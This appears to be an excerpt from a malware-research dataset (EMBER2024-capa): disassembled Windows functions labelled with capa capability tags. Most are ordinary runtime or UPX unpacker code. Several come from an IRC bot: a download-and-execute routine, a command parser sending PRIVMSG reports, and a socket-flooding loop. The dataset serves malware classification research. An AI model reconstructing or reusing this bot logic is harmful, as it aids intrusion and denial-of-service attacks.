joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4123d2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41d1dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040e3f2
and dword [ebp - 0x14], 0
cmp dword [0x4449b0], 0
mov dword [ebp - 0x18], eax
jne 0x412485
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41252d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41a6e4
push ebx
call edi
test eax, eax
je 0x41252d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4449b0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4449b4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4449b8], eax
call edi
push eax
call esi
mov dword [0x4449c0], eax
test eax, eax
je 0x412485
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4449bc], eax
mov eax, dword [0x4449bc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4124de
cmp dword [0x4449c0], ecx
je 0x4124de
push eax
call esi
push dword [0x4449c0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4124de
test ebx, ebx
je 0x4124de
call edi
test eax, eax
je 0x4124d5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4124d5
test byte [ebp - 8], 1
jne 0x4124de
or dword [ebp + 0x10], 0x200000
jmp 0x412511
mov eax, dword [0x4449b4]
cmp eax, dword [ebp - 0x18]
je 0x412511
push eax
call esi
test eax, eax
je 0x412511
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x412511
mov eax, dword [0x4449b8]
cmp eax, dword [ebp - 0x18]
je 0x412511
push eax
call esi
test eax, eax
je 0x412511
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4449b0]
call esi
test eax, eax
je 0x41252d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41252f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409654
leave
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x5fa058], 1
mov dword [0x5fa054], 1
mov dword [0x5fa050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x5fa00c], eax
mov eax, dword [0x5fa064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x5fa078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x5fa060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x4df530], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x434b20
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x434b80
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x5fa06c]
test esi, esi
jle 0x434ca0
mov eax, dword [0x5fa070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x434bb4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x434c37
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x434ba0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x434cc7
mov eax, dword [0x5fa070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x5fa070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x434ca7
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x434c30
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x434c40
add dword [0x5fa06c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x5fa070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x434c30
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x434bbe
mov eax, dword [0x5fa070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop
Function at 0x4351f0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x5fa088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x5fa080]
sub esp, 4
test ebx, ebx
je 0x435245
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x43523e
test eax, eax
jne 0x43523e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x435220
mov dword [esp], 0x5fa088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x435580
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4355a5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4355b0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4355a5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x4355f8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4355ee
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4355fa
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x4355e0
xor eax, eax
pop ebx
pop esi
ret
Function at 0xd562b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0xd562ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xd562d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd562c0
mov eax, 1
add ebx, ebx
jne 0xd562e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xd562d8
jne 0xd562f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xd562d8
xor ecx, ecx
sub eax, 3
jb 0xd56308
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xd5637a
mov ebp, eax
add ebx, ebx
jne 0xd56313
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0xd56320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0xd56344
inc ecx
add ebx, ebx
jne 0xd56330
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xd56325
jne 0xd56341
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xd56325
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xd56364
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xd56355
jmp 0xd562c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xd56364
add edi, ecx
jmp 0xd562c6
pop esi
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0xd563c3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x16000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1606c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xd56381
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16074]
or eax, eax
je 0xd563bd
mov dword [ebx], eax
add ebx, 4
jmp 0xd5639e
call dword [esi + 0x16070]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xd563f4
cmp al, 0xef
ja 0xd563e7
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xd563c9
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xd563d6
mov ebp, dword [esi + 0x16078]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xd56428
sub esp, 0xffffff80
jmp 0xd45dd2
Function at 0x10001000
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
ret 4

Function at 0x10001b40
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
push edi
push eax
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebx
ret 8

Function at 0x10001bc0
Capabilities:
Get common file path
Open clipboard
Write clipboard data

Disassembly:
sub esp, 0x208
lea eax, [esp]
push ebx
push esi
push edi
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.photo_album.zip
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x41
lea edi, [esp + 0x110]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x110]
push eax
push 0x10005334
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edx, dword [esp + 0x224]
add esp, 0xc
push edx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10001c92
call dword [sym.imp.USER32.dll_EmptyClipboard]
push 0x118
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
lea edi, [eax + 0x14]
mov ecx, 0x41
lea esi, [esp + 0x110]
mov dword [eax], 0x14
mov dword [eax + 0x10], 0
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 0xf
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebx
add esp, 0x208
ret 4
Function at 0x10002230
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1114
call fcn.100035c0
push ebx
push ebp
push esi
lea eax, [esp + 0x10]
push edi
push eax
lea ecx, [esp + 0x128]
push 0x1000
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x10002302
mov eax, dword [esp + 0x14]
mov dword [esp + 0x10], 0
shr eax, 2
mov dword [esp + 0x1c], eax
je 0x10002302
mov ebx, dword [sym.imp.MSVCRT.dll_strncpy]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
lea edi, [esp + 0x124]
push 0x103
lea edx, [esp + 0x24]
push str.unknown
push edx
call ebx
mov eax, dword [edi]
add esp, 0xc
push eax
push 0
push 0x411
call ebp
mov esi, eax
test esi, esi
je 0x100022ee
lea ecx, [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
push 4
push edx
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x100022ee
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x20]
push 0x104
push eax
push ecx
push esi
call sub.PSAPI.DLL_GetModuleBaseNameA
lea edx, [esp + 0x20]
push edx
push str.Explorer.exe
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1000230f
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x1c]
inc eax
add edi, 4
cmp eax, ecx
mov dword [esp + 0x10], eax
jb 0x10002289
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1114
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov eax, dword [esp + eax*4 + 0x118]
pop ebx
add esp, 0x1114
ret

Function at 0x10002390
Capabilities:
Enumerate services

Disassembly:
sub esp, 0x178
push ebx
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov dword [esp + 0x14], esi
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x20]
push ecx
push edx
lea eax, [esp + 0x2c]
push 0x168
push eax
push 3
push 0x30
push esi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x100023ec
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x10002458
mov edx, dword [esp + 0x18]
xor ebp, ebp
test edx, edx
jle 0x1000243c
lea edi, [esp + 0x20]
mov esi, dword [esp + 0x18c]
mov eax, dword [edi]
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [esi]
jne 0x10002427
test cl, cl
je 0x10002423
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [esi + 1]
jne 0x10002427
add eax, 2
add esi, 2
test cl, cl
jne 0x10002403
xor eax, eax
jmp 0x1000242c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10002449
inc ebp
add edi, 0x24
cmp ebp, edx
jl 0x100023fa
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10002458
jmp 0x100023b7
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x178
ret 4
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x178
ret 4
Function at 0x10002bc0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x40
lea edx, [esp]
push esi
push edi
mov edi, dword [esp + 0x4c]
test edi, edi
jne 0x10002bd6
mov edi, 0x10005684
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
jne 0x10002c13
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x100054f4]
push edx
call esi
jmp 0x10002c08
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WSOCK32.dll_inet_ntoa]
pop edi
pop esi
add esp, 0x40
ret 4

Function at 0x10002d40
Capabilities:
Create http request
Create process on windows
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0xbc
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x1c], 0x44
mov dword [esp + 0x10], eax
mov dword [esp + 0x48], 1
mov dword [esp + 0x14], eax
push eax
push eax
push eax
push eax
push str.wget
mov dword [esp + 0x2c], eax
mov word [esp + 0x60], ax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
je 0x10002e5e
mov ecx, dword [esp + 0xc8]
push 0
push 0
push 0
push 0
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x10002e5e
mov edx, dword [esp + 0xcc]
push 0x10005534
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x10002e5e
lea eax, [esp + 8]
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
push eax
lea ecx, [esp + 0x68]
push 0x62
push ecx
push edi
call ebx
test eax, eax
je 0x10002e1d
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10002e1c
push esi
push eax
lea edx, [esp + 0x70]
push 1
push edx
call ebp
add esp, 0x10
lea eax, [esp + 0x10]
lea ecx, [esp + 0x68]
push eax
push 0x62
push ecx
push edi
call ebx
test eax, eax
jne 0x10002df3
pop ebp
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea edx, [esp + 0x10]
mov ecx, dword [esp + 0xd0]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0x20
push 1
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0xbc
ret 8
pop edi
xor eax, eax
pop esi
add esp, 0xbc
ret 8
Function at 0x10002e70
Capabilities:
Create thread
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x12c
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_strtok]
push esi
push edi
push 0x100055a0
push eax
call ebx
add esp, 8
lea esi, [esp + 0x10]
mov edi, 9
push 0x100055a0
push 0
call ebx
mov dword [esi], eax
add esp, 8
add esi, 4
dec edi
jne 0x10002e97
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str.imstart
push esi
call edi
add esp, 8
test eax, eax
je 0x10002ec9
call fcn.10001e90
push str.pstore
push esi
call edi
add esp, 8
test eax, eax
je 0x10002eed
push 0
push 0
push 0
push 0x10002470
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.skysyn
push esi
call edi
mov ebx, dword [esp + 0x24]
add esp, 8
test eax, eax
je 0x10002f10
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
push ecx
push edx
push ebx
call fcn.10003490
push str.msnfuck
push esi
call edi
add esp, 8
test eax, eax
je 0x10002f25
push ebx
call fcn.10001ca0
push str.ac5d10a62115a0b09dfa6540418252ae
push esi
call fcn.10002c30
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1000301c
push ebp
push 6
call fcn.10002cb0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x38]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x38]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push ebx
call fcn.10002d40
mov esi, dword [sym.imp.WSOCK32.dll_send]
pop ebp
test eax, eax
push ebx
push str.bot
je 0x10002fe9
push str.PRIVMSG__s_:Executed___s__n
push 0x10005688
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, 0x10005688
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
mov ecx, dword [0x10005788]
push 0x10005688
push ecx
call esi
jmp 0x10002ffc
push str.PRIVMSG__s_:Failed___s__n
push 0x10005688
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edi, 0x10005688
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x10005788]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
push 0x10005688
push edx
call esi
pop edi
pop esi
pop ebx
add esp, 0x12c
ret 4

Function at 0x10003450
Capabilities:
Create thread

Disassembly:
cmp dword [esp + 8], 1
jne 0x1000347a
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0x10003070
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
ret 0xc
Function at 0x10003490
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
sub esp, 0x7e8
mov eax, dword [esp + 0x7f0]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_atoi]
push edi
push eax
call esi
mov ecx, dword [esp + 0x800]
mov edi, eax
push ecx
call esi
xor edx, edx
add esp, 8
mov dword [esp + 0x10], edx
mov esi, eax
mov dword [esp + 0x14], edx
push edi
mov dword [esp + 0x1c], edx
mov word [esp + 0x14], 2
mov dword [esp + 0x20], edx
call dword [sym.imp.WSOCK32.dll_htons]
mov dword [esp + 0xc], 1
mov word [esp + 0x12], ax
mov eax, dword [esp + 0x7f4]
push eax
call dword [sym.imp.WSOCK32.dll_inet_addr]
test esi, esi
mov dword [esp + 0x14], eax
jle 0x10003589
push ebx
mov ebx, dword [sym.imp.WSOCK32.dll_socket]
push ebp
mov ebp, dword [sym.imp.WSOCK32.dll_connect]
mov dword [esp + 0x10], esi
lea esi, [esp + 0x28]
mov edi, 0x1f4
push 0
push 1
push 2
call ebx
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x1000353b
lea ecx, [esp + 0x14]
push ecx
push 0x8004667e
push eax
call dword [sym.imp.WSOCK32.dll_ioctlsocket]
add esi, 4
dec edi
jne 0x1000351b
lea esi, [esp + 0x28]
mov edi, 0x1f4
mov eax, dword [esi]
lea edx, [esp + 0x18]
push 0x10
push edx
push eax
call ebp
add esi, 4
dec edi
jne 0x1000354a
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea esi, [esp + 0x28]
mov edi, 0x1f4
mov ecx, dword [esi]
push ecx
call dword [sym.imp.WSOCK32.dll_closesocket]
add esi, 4
dec edi
jne 0x1000356d
mov eax, dword [esp + 0x10]
dec eax
mov dword [esp + 0x10], eax
jne 0x10003512
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x7e8
ret 0xc
Function at 0x6151766e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop eax
mov edx, dword [ebp - 0x520]
mov dword [ebp - 0x2f4], edx
jmp 0x615176e8

Function at 0x61540390
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
call fcn.6153b100
lea eax, [esi + 0xc]
call fcn.6153ebc2
mov eax, dword [ebp + 8]
mov ecx, dword [esi + 4]
mov dword [esi + 0x34], eax
lea eax, [esi + 0x38]
mov dword [esi], 0x615fff48
mov dword [esi + 0xc], 0x615fff5c
mov dword [esi + 0x10], 0x615fff38
mov dword [esi + 0x24], str.CountryName
call fcn.6153dc0b
mov eax, esi
pop edi
pop ebp
ret 4

Function at 0x61540447
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edi, edi
mov ebx, eax
mov esi, ecx
cmp dword [ebp + 8], edi
jne 0x6154045f
mov dword [ebp + 8], str.CountryName
mov eax, dword [ebp + 8]
cmp byte [eax], 0
je 0x6154047e
push edi
mov edi, eax
mov eax, esi
call fcn.615cf949
pop ecx
test eax, eax
jne 0x615404f3
inc byte [esi + 0x13a]
xor edi, edi
mov eax, dword [ebx + 4]
dec eax
je 0x615404aa
dec eax
je 0x6154048b
push 0xfffffffffffffff5
jmp 0x615404c4
mov ebx, dword [ebx + 8]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x61540493
sub eax, edx
cmp eax, 0x8000
jne 0x615404c2
mov eax, str.iso_3166_alpha2_code
jmp 0x615404cf
mov ebx, dword [ebx + 8]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x615404b2
sub eax, edx
cmp eax, 0x8000
je 0x615404ca
push 0xffffffffffffffe9
pop eax
cmp dword [esi + 0x68], edi
jmp 0x615404f7
mov eax, str.x121_dcc_code
push ebx
call fcn.615cff1c
pop ecx
cmp eax, edi
jne 0x615404c5
mov edi, dword [ebp + 8]
cmp byte [edi], 0
je 0x615404fc
dec byte [esi + 0x13a]
mov eax, esi
call fcn.615cfa85
test eax, eax
je 0x615404fc
cmp dword [esi + 0x68], 0
jne 0x615404fc
mov dword [esi + 0x68], eax
pop edi
pop esi
pop ebx
pop ebp
ret